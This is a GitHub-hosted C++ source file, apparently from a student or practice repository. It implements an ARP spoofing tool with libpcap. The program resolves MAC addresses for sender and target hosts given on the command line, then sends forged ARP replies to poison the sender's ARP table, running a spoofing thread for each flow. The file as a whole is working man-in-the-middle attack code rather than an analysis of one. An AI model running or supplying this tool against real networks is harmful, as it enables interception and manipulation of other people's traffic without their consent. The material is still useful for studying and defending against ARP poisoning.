This repository has been archived by the owner on Jul 3, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
78 lines (63 loc) · 2.41 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include "main.h"
int main(int argc, char *argv[])
{
std::vector<Flow> flowList;
// set interface for flows
const char *interfaceName = argv[1];
// parameter check
if (argc < 4 || (argc % 2) != 0)
{
usage();
return -1;
}
// Open pcap handle
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handle = pcap_open_live(interfaceName, BUFSIZ, 1, 1, errbuf);
if (handle == nullptr)
{
fprintf(stderr, "couldn't open device %s(%s)\n", interfaceName, errbuf);
return -1;
}
// for multiple execution
int iter;
for (iter = 2; iter < argc; iter += 2)
{
Flow flow;
printf("\n----------------------------------------\n");
printf("[*] arp-spoof #%d..", iter / 2);
printf("\n----------------------------------------\n");
printf("\n----------------------------------------\n");
printf("[*] get host info #%d..", iter / 2);
printf("\n----------------------------------------\n");
getHostInfo(interfaceName, &flow.attackerIp, &flow.attackerMac);
printf("\n----------------------------------------\n");
printf("[*] get sender info..");
printf("\n----------------------------------------\n");
flow.senderIp = Ip(argv[iter]);
flow.senderMac = getMac(handle, flow.attackerIp, flow.attackerMac, flow.senderIp);
printf("[+] senderIp : %s\n", std::string(flow.senderIp).c_str());
printf("[+] senderMac : %s\n", std::string(flow.senderMac).c_str());
printf("\n----------------------------------------\n");
printf("[*] get target info..");
printf("\n----------------------------------------\n");
flow.targetIp = Ip(argv[iter + 1]);
flow.targetMac = getMac(handle, flow.attackerIp, flow.attackerMac, flow.targetIp);
printf("[+] targetIp : %s\n", std::string(flow.targetIp).c_str());
printf("[+] targetMac : %s\n", std::string(flow.targetMac).c_str());
flowList.push_back(flow);
}
std::vector<std::thread> spoofThreads;
for (int i = 0; i < flowList.size(); i++)
{
// Send ARP Reply packet to infect sender's ARP table
EthArpPacket pkt = EthArpPacket(ArpHdr::Reply, flowList[i].senderMac, flowList[i].attackerMac, EthHdr::Arp, ArpHdr::ETHER, EthHdr::Ip4, Mac::SIZE, Ip::SIZE, flowList[i].attackerMac, flowList[i].targetIp, flowList[i].senderMac, flowList[i].senderIp);
sendArp(handle, pkt);
printf("sppofThread #%d start\n", i + 1);
spoofThreads.emplace_back(spoofProcess, ArpHdr::Reply, handle, pkt, flowList[i]);
}
for (auto &thread : spoofThreads)
{
thread.join();
}
pcap_close(handle);
}